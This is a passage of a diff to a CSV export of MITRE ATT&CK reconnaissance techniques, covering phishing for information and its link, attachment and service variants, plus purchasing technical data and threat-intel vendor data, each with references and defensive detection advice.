+attack-pattern,attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:09:50.723Z,2021-04-15T03:42:26.537Z,Spearphishing Link,"Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. -All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1598/003', external_id='T1598.003'), ExternalReference(source_name='TrendMictro Phishing', description=""Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."", url='https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html'), ExternalReference(source_name='PCMag FakeLogin', description='Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.', url='https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages'), ExternalReference(source_name='Microsoft Anti Spoofing', description='Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', url='https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'), ExternalReference(source_name='ACSC Email Spoofing', description='Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', url='https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf')]",attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:42:26.537000+00:00,Spearphishing Link,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1598/003', 'external_id': 'T1598.003'}, {'source_name': 'TrendMictro Phishing', 'description': ""Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."", 'url': 'https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html'}, {'source_name': 'PCMag FakeLogin', 'description': 'Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.', 'url': 'https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) -Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.",,,,,True,,,,['PRE'],,,,1.1 -2020-10-02 17:08:57.386000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. +Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:08:57.386Z,2021-04-15T03:41:33.335Z,Spearphishing Attachment,"Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. -All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1598/002', external_id='T1598.002'), ExternalReference(source_name='Sophos Attachment', description='Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.', url='https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/'), ExternalReference(source_name='GitHub Phishery', description='Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.', url='https://github.com/ryhanson/phishery'), ExternalReference(source_name='Microsoft Anti Spoofing', description='Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', url='https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'), ExternalReference(source_name='ACSC Email Spoofing', description='Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', url='https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf')]",attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:41:33.335000+00:00,Spearphishing Attachment,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)",,,,,True,,,,['PRE'],,,,1.1 -2020-10-02 17:08:07.742000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1598/002', 'external_id': 'T1598.002'}, {'source_name': 'Sophos Attachment', 'description': 'Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.', 'url': 'https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/'}, {'source_name': 'GitHub Phishery', 'description': 'Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.', 'url': 'https://github.com/ryhanson/phishery'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:08:07.742Z,2021-04-15T03:43:12.843Z,Spearphishing Service,"Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. -All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1598/001', external_id='T1598.001'), ExternalReference(source_name='ThreatPost Social Media Phishing', description=""O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."", url='https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/')]",attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:43:12.843000+00:00,Spearphishing Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1598/001', 'external_id': 'T1598.001'}, {'source_name': 'ThreatPost Social Media Phishing', 'description': ""O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."", 'url': 'https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 17:07:01.502000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:07:01.502Z,2021-04-15T03:43:13.134Z,Phishing for Information,"Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. -Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1598', external_id='T1598'), ExternalReference(source_name='ThreatPost Social Media Phishing', description=""O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."", url='https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/'), ExternalReference(source_name='TrendMictro Phishing', description=""Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."", url='https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html'), ExternalReference(source_name='PCMag FakeLogin', description='Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.', url='https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages'), ExternalReference(source_name='Sophos Attachment', description='Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.', url='https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/'), ExternalReference(source_name='GitHub Phishery', description='Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.', url='https://github.com/ryhanson/phishery'), ExternalReference(source_name='Microsoft Anti Spoofing', description='Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', url='https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'), ExternalReference(source_name='ACSC Email Spoofing', description='Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', url='https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf')]",attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:43:13.134000+00:00,Phishing for Information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) +Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1598', 'external_id': 'T1598'}, {'source_name': 'ThreatPost Social Media Phishing', 'description': ""O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."", 'url': 'https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/'}, {'source_name': 'TrendMictro Phishing', 'description': ""Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."", 'url': 'https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html'}, {'source_name': 'PCMag FakeLogin', 'description': 'Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.', 'url': 'https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages'}, {'source_name': 'Sophos Attachment', 'description': 'Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.', 'url': 'https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/'}, {'source_name': 'GitHub Phishery', 'description': 'Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.', 'url': 'https://github.com/ryhanson/phishery'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. -Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).",,,,,False,,,,['PRE'],,,,1.1 -2020-10-02 17:05:43.562000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. +Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).",False,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:05:43.562Z,2021-04-15T03:44:43.900Z,Purchase Technical Data,"Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. -Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1597/002', external_id='T1597.002'), ExternalReference(source_name='ZDNET Selling Data', description='Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.', url='https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/')]",attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:44:43.900000+00:00,Purchase Technical Data,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1597/002', 'external_id': 'T1597.002'}, {'source_name': 'ZDNET Selling Data', 'description': 'Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.', 'url': 'https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 17:03:45.918000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:03:45.918Z,2021-04-15T03:45:30.862Z,Threat Intel Vendors,"Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds) -Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1597/001', external_id='T1597.001'), ExternalReference(source_name='D3Secutrity CTI Feeds', description='Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.', url='https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/')]",attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:45:30.862000+00:00,Threat Intel Vendors,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1597/001', 'external_id': 'T1597.001'}, {'source_name': 'D3Secutrity CTI 